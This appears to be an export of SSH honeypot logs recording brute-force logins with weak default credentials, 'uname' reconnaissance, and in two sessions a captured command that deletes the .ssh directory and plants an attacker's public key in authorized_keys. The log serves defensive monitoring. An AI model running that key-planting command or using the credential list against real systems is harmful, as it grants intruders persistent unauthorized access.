Adversarial Observation Interface

45.156.87.204

2026-07-08 13:41:29.474391 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: steam / steam123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: c40164b5b3b3

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c40164b5b3b3",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:41:29.474391Z",
  "end_time": "2026-07-08T13:41:31.019554Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "steam",
    "pass": "steam123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:41:25.313292 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: mysql / 123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 5af40393ef9d

Client Version: SSH-2.0-Go

Engagement Duration: 1.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "5af40393ef9d",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:41:25.313292Z",
  "end_time": "2026-07-08T13:41:26.847952Z",
  "duration": "1.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "mysql",
    "pass": "123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:41:20.977989 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ansible

Record ID: 9a9e3c1ae338

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9a9e3c1ae338",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:41:20.977989Z",
  "end_time": "2026-07-08T13:41:22.987354Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "ansible",
      "pass": "qwerty"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.132.243.250

2026-07-08 13:41:19.913399 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 71d208fd5190

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "71d208fd5190",
  "src_ip": "103.132.243.250",
  "start_time": "2026-07-08T13:41:19.913399Z",
  "end_time": "2026-07-08T13:41:21.677744Z",
  "duration": "1.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:41:17.089683 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: minecraft / 123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 6e5168d6fd0b

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6e5168d6fd0b",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:41:17.089683Z",
  "end_time": "2026-07-08T13:41:18.428364Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

103.132.243.250

2026-07-08 13:41:16.733758 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 8f90f8631068

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.9s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "8f90f8631068",
  "src_ip": "103.132.243.250",
  "start_time": "2026-07-08T13:41:16.733758Z",
  "end_time": "2026-07-08T13:41:19.631548Z",
  "duration": "2.9",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

103.132.243.250

2026-07-08 13:41:12.870039 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Administrator

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 666d7f78da36

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 8.8s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "666d7f78da36",
  "src_ip": "103.132.243.250",
  "start_time": "2026-07-08T13:41:12.870039Z",
  "end_time": "2026-07-08T13:41:21.681118Z",
  "duration": "8.8",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Administrator"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:41:12.848708 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: term2

Record ID: 14ce1ddf563c

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "14ce1ddf563c",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:41:12.848708Z",
  "end_time": "2026-07-08T13:41:14.840807Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "term2",
      "pass": "term2"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:41:08.710625 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: www

Record ID: 2db488152d1f

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2db488152d1f",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:41:08.710625Z",
  "end_time": "2026-07-08T13:41:10.491791Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "www",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:41:04.545863 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / qwe123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e16c2241cd2c

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e16c2241cd2c",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:41:04.545863Z",
  "end_time": "2026-07-08T13:41:05.986684Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "qwe123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:41:00.584895 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dev

Record ID: 66e87ce05114

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "66e87ce05114",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:41:00.584895Z",
  "end_time": "2026-07-08T13:41:02.406356Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "dev",
      "pass": "123321"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:40:56.370551 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: claude

Record ID: dd88f8a383f1

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "dd88f8a383f1",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:56.370551Z",
  "end_time": "2026-07-08T13:40:58.303710Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "claude",
      "pass": "password"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:40:52.479649 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: solana

Record ID: 00f42bdcf8f7

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "00f42bdcf8f7",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:52.479649Z",
  "end_time": "2026-07-08T13:40:54.417547Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "solana",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:40:48.369662 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: node / node

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 395eba8c7b33

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "395eba8c7b33",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:48.369662Z",
  "end_time": "2026-07-08T13:40:49.804321Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "node",
    "pass": "node"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:40:44.379322 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / welcome1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: ea3ccab56c09

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ea3ccab56c09",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:44.379322Z",
  "end_time": "2026-07-08T13:40:45.688788Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "welcome1"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:40:40.215851 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: guest / abc123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 508d966040b0

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "508d966040b0",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:40.215851Z",
  "end_time": "2026-07-08T13:40:41.854532Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "guest",
    "pass": "abc123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:40:36.271486 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: openvpn

Record ID: ebcf0078dcd5

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ebcf0078dcd5",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:36.271486Z",
  "end_time": "2026-07-08T13:40:38.191035Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "openvpn",
      "pass": "openvpn"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:40:32.109563 UTC

RECONNAISSANCE SUCCESSFUL LOGIN COMMANDS RUN SCORE: 100

Credential acceptance event recorded. Target authentication: root / QWEqwe123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 753b5d609ea5

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "753b5d609ea5",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:32.109563Z",
  "end_time": "2026-07-08T13:40:33.558913Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "QWEqwe123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

45.156.87.204

2026-07-08 13:40:28.051727 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: runner

Record ID: 3ad132e62f10

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3ad132e62f10",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:28.051727Z",
  "end_time": "2026-07-08T13:40:30.044545Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "runner",
      "pass": "test"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

115.190.160.80

2026-07-08 13:40:26.717333 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 78a037e6ef6d

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "78a037e6ef6d",
  "src_ip": "115.190.160.80",
  "start_time": "2026-07-08T13:40:26.717333Z",
  "end_time": "2026-07-08T13:42:26.721476Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

45.156.87.204

2026-07-08 13:40:24.051138 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: kim

Record ID: 1807cf37426a

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "1807cf37426a",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:24.051138Z",
  "end_time": "2026-07-08T13:40:25.999246Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "kim",
      "pass": "kim123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:40:20.023537 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: john

Record ID: f3e8a826adbe

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f3e8a826adbe",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:20.023537Z",
  "end_time": "2026-07-08T13:40:21.834531Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "john",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:40:15.891870 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: jenkins

Record ID: f2797711f083

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f2797711f083",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:15.891870Z",
  "end_time": "2026-07-08T13:40:17.797815Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "jenkins",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

45.156.87.204

2026-07-08 13:40:11.924083 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: amine

Record ID: c538e8bc7bfa

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c538e8bc7bfa",
  "src_ip": "45.156.87.204",
  "start_time": "2026-07-08T13:40:11.924083Z",
  "end_time": "2026-07-08T13:40:13.918578Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "amine",
      "pass": "amine"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

107.173.255.82

2026-07-08 13:40:09.997476 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: b208996c8fac

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 0.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b208996c8fac",
  "src_ip": "107.173.255.82",
  "start_time": "2026-07-08T13:40:09.997476Z",
  "end_time": "2026-07-08T13:40:10.216957Z",
  "duration": "0.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

107.173.255.82

2026-07-08 13:40:08.768846 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5195edd369eb

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5195edd369eb",
  "src_ip": "107.173.255.82",
  "start_time": "2026-07-08T13:40:08.768846Z",
  "end_time": "2026-07-08T13:40:09.970922Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

107.173.255.82

2026-07-08 13:40:08.202927 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / mestre

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 787d3ad2b3fb

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "787d3ad2b3fb",
  "src_ip": "107.173.255.82",
  "start_time": "2026-07-08T13:40:08.202927Z",
  "end_time": "2026-07-08T13:40:10.213257Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "mestre"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
